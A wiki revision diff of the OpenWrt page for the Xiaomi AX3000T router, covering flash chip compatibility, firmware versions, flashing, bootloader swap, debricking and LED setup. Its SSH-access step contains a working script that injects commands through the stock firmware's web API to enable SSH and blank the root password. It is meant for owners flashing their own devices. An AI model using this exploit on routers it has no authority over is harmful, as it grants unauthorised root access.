Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
Next revisionBoth sides next revision
inbox:toh:xiaomi:ax3000t [2024/09/11 21:47] – Added info block about new installation method alexqinbox:toh:xiaomi:ax3000t [2024/12/13 04:37] – [LEDs] nachum37
Line 1: Line 1:
 ====== Xiaomi AX3000T ====== ====== Xiaomi AX3000T ======
  
-<WRAP center round important 60%>+<WRAP center round important 70%>
 **Warning!** Don't brick your router! **Warning!** Don't brick your router!
  
-Some AX3000T devices come with a new NAND flash chip''Winbond 25n01kvzeir''. This chip is incompatible with the official stable OpenWrt 23.05.image and uboot! **Don´t try to flash it without checking your chip!** However SNAPSHOT build is fully compatible and tested with both flash chips since Aug.13: [[https://github.com/openwrt/openwrt/commit/81481c805aa56f6452d7e7577d42eb6b89a6869d|Commit]]+AX3000T routers come with either ''Winbond'' or ''ESMT'' or ''Foresee'' NAND flash chip. Devices with the ''Winbond'' or ''Foresee'' NAND chip are supported **only** by [[:releases:snapshot|Snapshot]] version, while the ''ESMT'' NAND chip is supported by both the official stable OpenWrt [[:releases:23.05:notes-23.05.5|23.05.5]] image and Snapshot. **Don´t try to flash router without checking your chip!**: [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/1424?u=alexq|details]]
  
-New AX3000T devices with stock firmware version 1.0.84 or newer have received [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/1176|updated hardware]] that is temporarily incompatible with the OpenWrt image until support is added. There is no possibility to install OpenWrt on RD03 for such devices, see [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/1143?|link]].+</WRAP>
  
 +<WRAP center round important 70%>
 +New AX3000T devices with stock firmware version 1.0.84 or newer have received updated hardware ([[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/1176|AN8855 switch]]) that is temporarily incompatible with the OpenWrt image until support is added ([[https://github.com/openwrt/openwrt/pull/16709|PR]]). There is no possibility to install OpenWrt on RD03 for such devices, see [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/1424?u=alexq|link]].
  
-</WRAP> 
- 
-<WRAP center round info 60%> 
-Both the International (RD23) and Chinese (RD03) versions of the router are supported, but OpenWrt installation is much simpler on the Chinese version. 
 </WRAP> </WRAP>
  
Line 26: Line 24:
 **Support Forums** https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490 **Support Forums** https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490
  
-<WRAP center round info 60%> +There are 2 known OpenWrt installation methods for the Xiaomi AX3000T: 
-New, much simpler OpenWrt installation method has been discovered (suitable for both RD23 and RD03), see [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/1273?u=alexq|link]]. The wiki will be updated soon. +  * **API RCE method**: the method involves executing shell commands on the stock router firmware to enable SSH access by exploiting the API RCE, either in ''xqsystem/start_binding'' or ''misystem/arn_switch'', depending on the firmware version. This method is suitable for both **RD23** (International version) and **RD03** (Chinese versionof the Xiaomi AX3000T router. For detailsplease refer to the [[:inbox:toh:xiaomi:ax3000t#installation|Installation]] section below.  
-</WRAP>+  * **UART flash method**: the method which requires opening the device, connecting a UART cable, and following a specific set of steps. This process is recommended only for advanced users and may soft brick your device. The instructions for this process are available in this post: [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/420?u=alexq|link to owrt forum]].
  
-The initial installation of OpenWrt on the Xiaomi AX3000T **RD03*(Chinese versionrequires installing a vulnerable version of the stock firmware, which allows to proceed with commands to enable SSH access, making the OpenWrt installation possible (refer to the [[:inbox:toh:xiaomi:ax3000t#installation_rd03_only|installation]] section below).+OpenWrt Support Status: 
 +^ Stock Firmware ver.             ^Model  ^ API to exploit     ^ OpenWrt Supported     ^ Stock Firmware URL  ^ 
 +| 1.0.31 (INT)         | RD23 | ''xqsystem/start_binding''              |   YES            | -               | 
 +| 1.0.49 (INT)         | RD23 | ''xqsystem/start_binding''              |   YES            | [[https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rd23/miwifi_rd23_firmware_153e1_1.0.49_INT.bin|miwifi_rd23_firmware_153e1_1.0.49_INT.bin]] | 
 +| 1.0.47 (CN)          | RD03 | ''misystem/arn_switch''         YES             | [[https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rd03/miwifi_rd03_firmware_ef0ee_1.0.47.bin|miwifi_rd03_firmware_ef0ee_1.0.47.bin]] |  
 +| 1.0.64 (CN         | RD03 | ''xqsystem/start_binding''                      |   YES*             [[https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rd03/miwifi_rd03_firmware_14680_1.0.64.bin|miwifi_rd03_firmware_14680_1.0.64.bin]]  |  
 +| 1.0.84 (CN         | RD03 | ''xqsystem/start_binding''              |   **Not yet** (''AN8855'' hardware) | [[https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rd03/miwifi_rd03_firmware_f85f9_1.0.84.bin|miwifi_rd03_firmware_f85f9_1.0.84.bin]]| 
  
-For the Xiaomi AX3000T **RD23** (International version), there is no simple way to install OpenWrt. At the present moment (May 2024), the only way to install OpenWrt on the Xiaomi AX3000T (model RD23) is via UART (which requires opening the device, connecting a UART cable, and following a specific set of steps). This process is recommended only for advanced users and may soft brick your device. The instructions for this process are available in this post: [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/420?u=alexq|link to owrt forum]].  +  * *note: devices with the ''Winbond'' or ''Foresee'' NAND chip are supported by [[:releases:snapshot|Snapshot]] version only.
-<WRAP BOX> +
-Some additional notes/clarifications for OpenWrt installation on the RD23 model: +
-  * [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/420?u=alexq|Instructions]], [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/592|some notes/clarifications]] +
-  * It's possible to avoid opening the case, as the UART is accessible through holes in the router's case.  +
-  * Make sure to add the following to /etc/rc.local, otherwise the configuration will be reset after 6 reboots: ''fw_setenv flag_try_sys1_failed 0'' +
-  * OpenWrt U-Boot was also successfully installed on the international RD23 version following the instructions below.+
  
-</WRAP> 
  
 ===== Supported Versions ===== ===== Supported Versions =====
Line 65: Line 62:
  
  
-===== Installation (RD03 only)===== +===== Installation=====
- +
-==== Install Vulnerable Version ==== +
-First, you'll need to grab a vulnerable software version. The table below shows known vulnerable versions. It is recommended to install version 1.0.47. +
-^ Firmware Version      ^ Vulnerable?  ^ Download                                                                                       ^ +
-| 1.0.64                | NO          | https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rd03/miwifi_rd03_firmware_14680_1.0.64.bin +
-| 1.0.47 (recommended)  | YES          | https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rd03/miwifi_rd03_firmware_ef0ee_1.0.47.bin +
- +
-**To downgrade**: navigate to the upload firmware page and select the appropriate software version. It will complain about the downgrade. Edit the url and change the <html>0</html> at the end to a <html>1</html> and press enter. Or change to <html>2</html> if there is already <html>1</html> (seen on v1.0.64). The downgrade will proceed.+
  
 ==== Flash instructions ==== ==== Flash instructions ====
 +<WRAP center round info 70%>
 +Besides the manual steps outlined below, there is the [[https://github.com/openwrt-xiaomi/xmir-patcher|XMiR-Patcher]] tool that can automate the entire process, making the first-time router flashing much simpler with just a few clicks. As always, know what you're doing when executing scripts from the internet!
 +</WRAP>
  
-1. Get ssh access. Supported stock firmware **1.0.47** +1. Get ssh access.  
- +  #!/bin/sh
-  #!/bin/bash+
      
-  if [ "$1" = "" ]; then +  if [ $# -ne 2 ]; then 
-    echo "Usage: $0 [stok]" +  cat <<EOF 
-    echo "e.g. $0 e6ea114ba2cddb0c70fbbc417bb2706c" +  Usage: $0 [misystem | xqsystem] [stok] 
-    echo "Copy the stok-string from a browser's URL-line, while being logged in to the router" +  e.g. $0 xqsystem e6ea114ba2cddb0c70fbbc417bb2706c 
-    exit 1+  Copy the stok-string from a browser's URL-line, while logged to the router 
 +  EOF 
 +  exit 1
   fi   fi
      
-  curl -X POST "http://192.168.31.1/cgi-bin/luci/;stok=${1}/api/misystem/arn_switch" -d "open=1&model=1&level=%0Anvram%20set%20ssh_en%3D1%0A"+  -z "$2" ] && echo "error: bad stok" && exit 1 
 +   
 +  url="http://192.168.31.1/cgi-bin/luci/;stok=${2}/api
 +   
 +  case "$1" in 
 +      misystem) 
 +          url="$url/misystem/arn_switch" 
 +          pre="open=1&model=1&level=
 +          suf="" 
 +          ;; 
 +      xqsystem) 
 +          url="$url/xqsystem/start_binding" 
 +          pre="uid=1234&key=1234'" 
 +          suf="'" 
 +          ;; 
 +      *) 
 +          echo "error: unknown api" && exit 1 
 +          ;; 
 +  esac 
 +   
 +  curl -X POST "$url" -d "${pre}%0Anvram%20set%20ssh_en%3D1%0A${suf}"
   sleep 1   sleep 1
-  curl -X POST "http://192.168.31.1/cgi-bin/luci/;stok=${1}/api/misystem/arn_switch" -d "open=1&model=1&level=%0Anvram%20commit%0A"+  curl -X POST "$url" -d "${pre}%0Anvram%20commit%0A${suf}"
   sleep 1   sleep 1
-  curl -X POST "http://192.168.31.1/cgi-bin/luci/;stok=${1}/api/misystem/arn_switch" -d "open=1&model=1&level=%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%0A"+  curl -X POST "$url" -d "${pre}%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%0A${suf}"
   sleep 1   sleep 1
-  curl -X POST "http://192.168.31.1/cgi-bin/luci/;stok=${1}/api/misystem/arn_switch" -d "open=1&model=1&level=%0A%2Fetc%2Finit.d%2Fdropbear%20start%0A"+  curl -X POST "$url" -d "${pre}%0A%2Fetc%2Finit.d%2Fdropbear%20start%0A${suf}"
   sleep 1   sleep 1
-  curl -X POST "http://192.168.31.1/cgi-bin/luci/;stok=${1}/api/misystem/arn_switch" -d "open=1&model=1&level=%0Apasswd%20-d%20root%0A"+  curl -X POST "$url" -d "${pre}%0Apasswd%20-d%20root%0A${suf}"
  
 2. Backup stock partitions 2. Backup stock partitions
Line 111: Line 124:
 Then transfer them to your computer in a safe place. Then transfer them to your computer in a safe place.
  
-To copy you can run netcat on your computer (in this case the computer's IP is 192.168.31.55):+To copy you can run netcat on your computer:
  
   $ netcat -l 1234 | tar xvf -   $ netcat -l 1234 | tar xvf -
Line 117: Line 130:
 And send the data from the router: And send the data from the router:
  
-  root@XiaoQiang:~# tar cf - /tmp/*.bin | nc 192.168.31.55 1234+  root@XiaoQiang:~# cd /tmp/ 
 +  root@XiaoQiang:~# tar cf - *.bin | nc 192.168.31.<computer-IP> 1234
  
  
-3. Get firmware information `cat /proc/cmdline`+3. Get firmware information: ''cat /proc/cmdline''
  
 4. Copy openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi to **/tmp** and flash 4. Copy openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi to **/tmp** and flash
  
-If **firmware=0**+  * If **firmware=0** 
   ubiformat /dev/mtd9 -y -f /tmp/openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi   ubiformat /dev/mtd9 -y -f /tmp/openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi
   nvram set boot_wait=on   nvram set boot_wait=on
Line 136: Line 151:
   reboot   reboot
  
-If **firmware=1**+  * If **firmware=1** 
   ubiformat /dev/mtd8 -y -f /tmp/openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi   ubiformat /dev/mtd8 -y -f /tmp/openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-initramfs-factory.ubi
   nvram set boot_wait=on   nvram set boot_wait=on
Line 148: Line 164:
   reboot   reboot
  
-Then reboot your router, it should boot to the OpenWrt initramfs system now. To be sure to use one of OpenWrt's LAN ports (not WAN port), plug the ethernet cable into one of the middle ports, if the cable is not already plugged there (original FW dynamically assigns LAN/WAN). +{{ :media:xiaomi:ax3000t_ports.png|AX300T WAN/LAN Ports}}  
 +Once the router is rebooted, it should boot to the OpenWrt initramfs system now. To be sure to use one of OpenWrt's LAN ports (not WAN port), plug the ethernet cable into one of the middle ports, if the cable is not already plugged there (original FW dynamically assigns LAN/WAN). 
 Note that you should configure the computer's network to use DHCP. You can use wireshark if things don't work. Note that you should configure the computer's network to use DHCP. You can use wireshark if things don't work.
 +
 This command will connect you to the OpenWrt system: This command will connect you to the OpenWrt system:
  
Line 156: Line 173:
  
  
-5. Flash openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-squashfs-sysupgrade.bin+5. Copy openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-squashfs-sysupgrade.bin to **/tmp** and flash:
   sysupgrade -n /tmp/openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-squashfs-sysupgrade.bin   sysupgrade -n /tmp/openwrt-mediatek-filogic-xiaomi_mi-router-ax3000t-squashfs-sysupgrade.bin
 +
  
 ==== Change to OpenWrt U-Boot ==== ==== Change to OpenWrt U-Boot ====
-<WRAP info> Default available router space is **60Mb**. It's possible to increase this size by replacing the default bootloader with the OpenWrt U-Boot bootloader. Please [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/721|understand]] the benefits and risks involved.  +<WRAP info> Default available router space is **60Mb**. It's possible to increase this size by replacing stock bootloader with the OpenWrt U-Boot bootloader. Please [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/721|understand]] the benefits and risks involved.  
-OpenWrt U-Boot provide faster boot loading and more space: **75Mb** (with recovery) or **85Mb** (without recovery).+OpenWrt U-Boot provides faster boot loading and more space: **75Mb** (with recovery) or **85Mb** (without recovery).
 </WRAP> </WRAP>
  
Line 172: Line 190:
   opkg update && opkg install kmod-mtd-rw   opkg update && opkg install kmod-mtd-rw
  
-  insmod /lib/modules/$(uname -r)/mtd-rw.ko i_want_a_brick=1+  insmod mtd-rw i_want_a_brick=1
  
 3. Format ubi and create new ubootenv volume 3. Format ubi and create new ubootenv volume
Line 202: Line 220:
   opkg update && opkg install kmod-mtd-rw   opkg update && opkg install kmod-mtd-rw
  
-  insmod /lib/modules/$(uname -r)/mtd-rw.ko i_want_a_brick=1+  insmod mtd-rw i_want_a_brick=1
  
 4. Flash stock images from backup 4. Flash stock images from backup
Line 211: Line 229:
 Then reboot your router, waiting it finished rollback in minutes. Then reboot your router, waiting it finished rollback in minutes.
  
-====  Go Back to stock from default layout Openwrt ==== +====  Go Back to stock firmware from stock bootloader ==== 
   ubiformat /dev/mtd8 -y -f /tmp/ubi.bin   ubiformat /dev/mtd8 -y -f /tmp/ubi.bin
  
Line 276: Line 294:
 mtd write /tmp/xxx.abc linux && reboot mtd write /tmp/xxx.abc linux && reboot
 </code> </code>
 +
 +===== Downgrading stock firmware =====
 +This section is kept only for historical reference, as it relates to the deprecated OpenWrt installation method that was applicable only to the RD03 (Chinese version) with stock firmware version 1.0.47. Please note that none of the current installation methods require a firmware downgrade to flash OpenWrt.
 +
 +**To downgrade** a firmware version on your router, navigate to the upload firmware page and select the appropriate software version. It will complain about the downgrade. Edit the url and change the <html>0</html> at the end to a <html>1</html> and press enter. Or change to <html>2</html> if there is already <html>1</html> (seen on v1.0.64). The downgrade will proceed.
 +
 ===== Debricking ===== ===== Debricking =====
 -> [[docs:guide-user:troubleshooting:generic.debrick]] -> [[docs:guide-user:troubleshooting:generic.debrick]]
  
-Assume that you have installed OpenWrt with stock layout, with original u-boot:+Assume that you have installed OpenWrt with stock bootloader, with original u-boot:
  
   * Connect to router via UART   * Connect to router via UART
Line 298: Line 322:
 Details explained in [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/860|this forum post]] Details explained in [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/860|this forum post]]
  
-==== TFTP instructions for the stock layout ====+==== TFTP instructions for the stock bootloader ====
 AX3000T can be recovered from a soft-brick with TFTP. The flow is: AX3000T can be recovered from a soft-brick with TFTP. The flow is:
   * The router boots and asks for an IP address on the LAN ports via DHCP   * The router boots and asks for an IP address on the LAN ports via DHCP
Line 340: Line 364:
 ===== Basic configuration ===== ===== Basic configuration =====
 -> [[docs:guide-user:base-system:start|Basic configuration]] After flashing, proceed with this.\\ -> [[docs:guide-user:base-system:start|Basic configuration]] After flashing, proceed with this.\\
-Set up your Internet connection, configure wireless, configure USB port, etc.+Set up your Internet connection, configure wireless, configure network settings, etc. 
 + 
 +  * note: configuration reset issue after 6 reboots sometimes occurs on the AX3000T and is [[https://forum.openwrt.org/t/openwrt-support-for-xiaomi-ax3000t/180490/452?u=alexq|caused]] by the stock Xiaomi bootloader logic. To address this, run the command to modify the /etc/rc.local file with nvram settings: 
 + 
 +  sed -i '/exit 0/i sleep 5\nfw_setenv flag_try_sys1_failed 0' /etc/rc.local 
 + 
 +**Don't run** this command if the issue doesn't affect you, and your router keeps its settings after 6 reboots! 
  
 ===== Specific Configuration ===== ===== Specific Configuration =====
Line 371: Line 401:
 | Reset    reset  | | Reset    reset  |
 | Mesh    |  BTN_9  | | Mesh    |  BTN_9  |
 +
 +==== LEDs ====
 +The Xiaomi AX3000T features a front LED strip that can light up in yellow (actually orange), blue, and white. 
 +
 +The default OpenWRT configuration is as follows:
 +
 +^ LED     ^ Behavior            ^
 +| Yellow  | Blinks during boot  |
 +| Blue    | Solid after boot    |
 +| White   | Not in use          |
 +
 +The white LED can be activated by turning on both the yellow and blue LEDs simultaneously.
 +
 +For example, the following configuration will set the white LED to be solid when the PPPoE connection is established. If the connection is lost, the color will revert to blue.
 +
 +This can be configured through Luci -> System -> LED Configuration.
 +
 +  config led
 + option sysfs 'yellow:status'
 + option trigger 'netdev'
 + option dev 'pppoe-wan'
 + list mode 'link'
 +  
 +  config led
 + option sysfs 'blue:status'
 + option trigger 'netdev'
 + option dev 'pppoe-wan'
 + list mode 'link'
 +  
 +  config led
 + option sysfs 'blue:status'
 + option trigger 'default-on'
 +
 +
  
  
Line 419: Line 483:
 How to connect to the Serial Port of this specific device:\\ How to connect to the Serial Port of this specific device:\\
 {{:media:xiaomi:xiaomi_ax3000t_uart.jpg?direct&600|}} {{:media:xiaomi:xiaomi_ax3000t_uart.jpg?direct&600|}}
-^ Serial connection parameters\\ for Xiaomi AX3000T | 115200, 8N1, 3.3V |+^ Serial connection parameters\\ for Xiaomi AX3000T  | 115200, 8N1, 3.3V  |
  
 ==== JTAG ==== ==== JTAG ====
  • Last modified: 2024/12/19 08:57
  • by lessload